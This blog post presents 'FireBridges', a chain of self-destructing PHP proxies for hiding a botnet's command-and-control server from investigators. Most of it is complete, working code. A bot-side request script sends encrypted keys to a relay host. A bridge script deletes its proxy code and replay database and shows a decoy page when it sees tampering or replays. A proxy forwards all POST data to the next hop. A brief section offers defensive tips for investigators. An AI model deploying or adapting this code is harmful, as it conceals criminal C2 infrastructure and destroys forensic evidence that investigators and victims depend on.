Quantcast
Channel: Coding – AndrewNohawk
Viewing all articles
Browse latest Browse all 24

FireBridges, proxies that burn!

$
0
0

Overview


Firebridge Overview




I’ve always been semi interested in botnets/trojans and targetted attacks and the way they get their data in and out and how the command and control centres work. One of the things i’d usually do is see if I can determine where the traffic is going from the bot (infected machine) and this would obviously point me to the c&c. I’d then fire up Maltego and start playing with that IP/hostname to see where else it appears, what other things are linked to it and so on. One of the concepts I was playing around with was how could you hide where your c&c and from this FireBridges as a concept where created.

Since we were playing badguy-badguy I decided to think how do the good guys go about taking apart a bot to get to your c&c and i figure it probably works something like this:

* What is c&c.thisisnotnormal.traffic.com – browse to it, portscan, etc
* Look at traffic going to c&c.thisisnotnormal.traffic.com – replay it to see results
* Take apart the traffic and start sending modifying parts to see results
* Go and literally pick up the machine(s) hosting c&c.thisisnotnormal.traffic.com

So how would you go about making these peoples lives a little more painful?

* Make sure no connections go directly to the c&c – route through proxies
* Make sure all traffic is encrypted/encoded and if either fails destroy the proxy
* All proxies look for replay attacks and destroy themselves after a threshhold (could be 1 for the super paranoid)

Basics

From this the idea of Firebridges (really thought it was a cool name but i see there are loads of other things with the same name) were born. The idea is relatively basic:

* You have a series of proxies that dont know about anything apart from the nextHop in the chain
* Proxies all make sure that data passing through is correctly encrypted (checking for tampering)
* Proxies all make sure data is not being replayed
* If a proxy detects something going wrong it removes all files associated with the nextHop leaving the people chasing you with a dead end

Implementation was not too difficult, whipped something up in PHP that works like this:

* All requests to nextHop include a POST variable ‘key’ that contains a key made up of the following (B64(RIJNDAEL256(B64(secretkey))):

1. b64_1 = Base64_encode(‘text’)
2. RIJ_2 = RIJNDAEL_256_encode(b64_1)
3. b64_3 = Base64_encode(RIJ_2)

* All requests hit a ‘bridge.php’ page that does:
* @Include ‘proxy.php’, call function proxyRequest(); which checks auth above and replay attacks via SQLite db
* If proxyRequest() returns false, remove the SQLite database and ‘proxy.php’ script leaving the person chasing you with a 5 line php file that once included something
* If proxyRequest() returns != false, simply return the page to the browser.

Results

Using FireBridges, you can now create a proxy network easily by simply changing the nextHop variable in proxyRequest.php and adding them to machines all over the world that will burn if anyone tampers with them. This means if anyone is investigating why traffic is going to thisisauniquehostname.weareevil.com and decides to browse to it the proxies will burn themselves (and they will get the default apache page – configurable in bridge.php) and by the time they pick up the machine all they will have is 1 php script that gives away nothing. It also means that if these investigators are slightly more resourceful in their approach and try replay the attack after a certain threshold of replays (default is 2) the next replay will burn the proxy. Finally if they are even more resourceful and try tamper with any of the data the proxy will burn on the first attempt presuming it doesn’t match your requirements.

Defenses

So defending against this is pretty tricky but essentially it comes down to the following:
* Always assume a replay threshold of 1 if you see anything like this
* If you spot a c&c then DO NOT TOUCH it networkly prior to making a full image of the machine
* If you are unsure about where the c&c is but can see the traffic, keep monitoring it but do not touch the bridge before picking it up, remember one bad packet could burn the entire route to the c&c


Firebridge Burning Overview

Code

So onto the code (I realise this format sucks, but there are download links for each script below each heading):

firebridge.sqlite (db for checking replays)

(download firebridge.sqlite)

1
2
3
4
sqlite> .TABLES
seenKeys
sqlite> .schema
CREATE TABLE seenKeys(KEY text, count smallint);

exampleRequest.php (script to request something via fireBridge – used in bot?)

(download exampleRequest.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
function createFireBridgeKey($string)
{
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $cryptKey = 'Secret_^&Key!@#$FireBr!dge@@112A';
    $encodedClearData = base64_encode($string);
    $encryptedEncodedData = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $cryptKey, $encodedClearData, MCRYPT_MODE_ECB, $iv);    
    $encodedEncryptedEncodedData = base64_encode($encryptedEncodedData);
 
    return $encodedEncryptedEncodedData;
}
 
 
function randomData($length = 8)
{     
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $result = '';
    for ($p = 0; $p < $length; $p++)
    {
        $result .= ($p%2) ? $chars[mt_rand(19, 23)] : $chars[mt_rand(0, 18)];
    }
 
    return $result;
}
 
$testString = "This is going to my c&c";
$testString = $testString . randomData(); // just to make sure i dont send the same request too may times (would be a replay then)
$testString = createFireBridgeKey($testString);
 
$postArray = array ("key"=>$testString);
 
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, 'http://next.hop.andrewmohawk.com/fireBridges/bridge.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postArray)); // forward all POST data
$output = curl_exec($ch);
curl_close($ch);
 
echo $output;
 
?>

bridge.php (script initially called)

(download bridge.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$includeFile = "proxyRequest.php";
$dbFile = "firebridge.sqlite";
 
if(@include $includeFile)
{
    $x = @proxyRequest();
}
else
{
    $x = false;
}
 
if( $x !== false)
{
    echo $x ;
}
else
{
    @unlink($includeFile);
    @unlink($dbFile);
    echo "<html><body><h1>It works!</h1></body></html>";
}
?>

proxyRequest.php (actual proxy)

(download proxyRequest.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
<?php
 
function proxyRequest()
{
    /*****************************************/
    /*      Settings                         */
    /*****************************************/
 
    // Maximum number of times we can see a key before we consider it tampered
    $threshold = 2; 
 
    // Determines whether to send the request on to the next hop after seeing that its above threshhold
    $burnNextHop = True; 
 
    //where the proxy forwards the request to and returns the response from, can either be another fireBridge or the destination
    $nextHop = 'http://next.hop.andrewmohawk.com/bridge.php'; 
 
 
    //Determine if the 'key' is valid (POST Field)
    if(checkAuth() !== false)
    {
            /*
                Lets make sure this isnt a replay above our threshhold :)
                --check in a SQLite db stored with this file.
            */
 
            //Connect to DB
            $db = new SQLite3('firebridge.sqlite');
 
            //Sanitize (cant have the firebridges getting compromised)
            $key = $db->escapeString($_POST["key"]);
 
            //Look for the key we have just got back
            $result = $db->querySingle("SELECT count FROM seenKeys WHERE key='$key'");
 
 
            if($result !== NULL)
            {
                //Determin if this key has been seen too many times (replaying)
                $num = $result;
 
                if($num > $threshold)
                {
                    //if burnNextHop is set, send the request on to the next hop but dont return the output
                    if($burnNextHop == true)
                    {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_URL, $nextHop);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_POST, 1);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST)); // forward all POST data
                        $output = curl_exec($ch);
                    }
 
                    //Burn it.
                    return false;
                }
                else
                {
                    //If we have seen this key before but it hasnt reached threshold then +1 its count
                    $db->query("UPDATE seenKeys SET count = count + 1 WHERE key='$key'");
 
                }
            }
            else
            {
                //Haven't seen the key before and it passed the check, insert it into the db
                $db->query("INSERT Into seenKeys (key,count) VALUES('$key',1)");
 
            }
 
            /* 
                If we get to here the request was valid and the key didnt pass the threshhold
                so we don't suspect replay. Now just go to the nextHop, send on any/all POST fields
                sent to this page and return the data.
            */
 
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_URL, $nextHop);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST)); // forward all POST data
            $output = curl_exec($ch);
            curl_close($ch);
            return $output;
 
 
    }
    else
    {
        return false;
    }
}
 
 
/**********************************************************
  Determines if the post field 'KEY' matches correctly,
  in this example it needs to be: 
    B64(RIJNDAEL256(B64(secretkey))):
 
    Encoding/Encrypting:
        b64_1 = Base64_encode('text')
        RIJ_2 = RIJNDAEL_256_encode(b64_1)
        b64_3 = Base64_encode(RIJ_2)
 
    Decoding/Decrypting:
        b64_1 = Base64_decode(_post_key_)
        RIJ_2 = RIJNDAEL_256_decode(b64_1)
        b64_3 = Base64_decode(RIJ_2)
 
/*********************************************************/
 
function checkAuth()
{
 
    //Create IV's
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $cryptKey = 'Secret_^&Key!@#$FireBr!dge@@112A';
 
    //Fetch Key from POST
    $BridgeKey = $_POST["key"];
 
    //First decode, used primarly for sending the encrypted data 
    $BridgeKey = base64_decode($BridgeKey);
 
 
    //if it doesnt decode someone has tampered with the initial B64 - Burn it.
    if($BridgeKey == false)
    {
        return false;
    }
 
    //Decrypt it with our key, decrypted text should be base64 so we can check it decodes easily
    $decrypttext = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $cryptKey, $BridgeKey, MCRYPT_MODE_ECB, $iv);
 
 
    $finalDecode = base64_decode($decrypttext);
 
    //If this doesnt decode someone has tampered with the encrypted text - Burn it.
    if($finalDecode == false)
    {
        return false;
    }
 
 
    /*
        Insert your own functions here to check the data that was encoded/encrypted/encoded and now decoded/decrypted/decoded 
        So something like making sure a key matches a certain checksum etc.
    */
 
    return true;
 
 
 
}
 
?>

-AM


Viewing all articles
Browse latest Browse all 24

Trending Articles